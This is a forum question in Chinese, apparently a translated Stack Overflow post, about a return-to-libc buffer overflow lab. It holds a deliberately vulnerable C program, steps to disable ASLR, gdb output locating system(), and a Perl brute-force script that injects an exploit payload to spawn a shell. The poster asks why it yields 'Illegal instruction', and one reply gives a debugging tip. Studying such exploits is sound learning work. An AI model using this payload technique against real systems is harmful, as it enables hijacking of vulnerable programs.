我正在搞緩衝區溢出,特別是返回到libc類。返回到libc - 非法指令
我有以下的漏洞代碼:
#include<stdio.h>
#include<string.h>
main(int argc, char **argv)
{
char buffer[80];
getchar();
strcpy(buffer, argv[1]);
return 1;
}
我用gcc-2.95(不-fstack-protector
)編譯它與-mpreferred-stack-boundary=2
標誌。我跟着返回到"Hacking: The Art of Exploitation"的libc章節。
首先,我禁用ASLR:
$ cat /proc/sys/kernel/randomize_va_space
0
我發現的system
地址:
$ cat find_system.c
int main() {
system("");
return 0;
}
$ gdb -q find_system
Reading symbols from /home/bob/return_to_libc/find_system...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x8048416
(gdb) run
Starting program: /home/bob/return_to_libc/find_system
Breakpoint 1, 0x08048416 in main()
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eb6680 <system>
我創建了一個環境變量包含命令我想用system
執行:
$ cat get_env.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
printf("%s=%s: %p\n", argv[1], getenv(argv[1]), getenv(argv[1]));
return 0;
}
$ export EXPLOIT=/bin/zsh
$ ./get_env EXPLOIT
EXPLOIT=/bin/zsh: 0xbffff96d
然後我做了一個perl腳本來自動吃了殼:
$ cat script.pl
#!/usr/bin/perl
for ($i = 1; $i < 200; $i++) {
print "Perl count: $i\n";
system("echo 1 | ./vuln '" . "A"x$i . "\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'");
}
$ ./script.pl
(...)
Perl count: 69
Perl count: 70
Perl count: 71
Perl count: 72
Illegal instruction
Perl count: 73
Segmentation fault
Perl count: 74
Segmentation fault
(...)
我哪裏錯了?爲什麼我會得到「非法指令」而不是我的外殼?
附加一個調試器並找出(確保將一個'sleep(30)'拋入易受攻擊的程序中,讓自己有足夠的時間來連接一個調試器)。最有可能的是,它跳轉到有效的內存地址,但包含數據,而不是指令。 –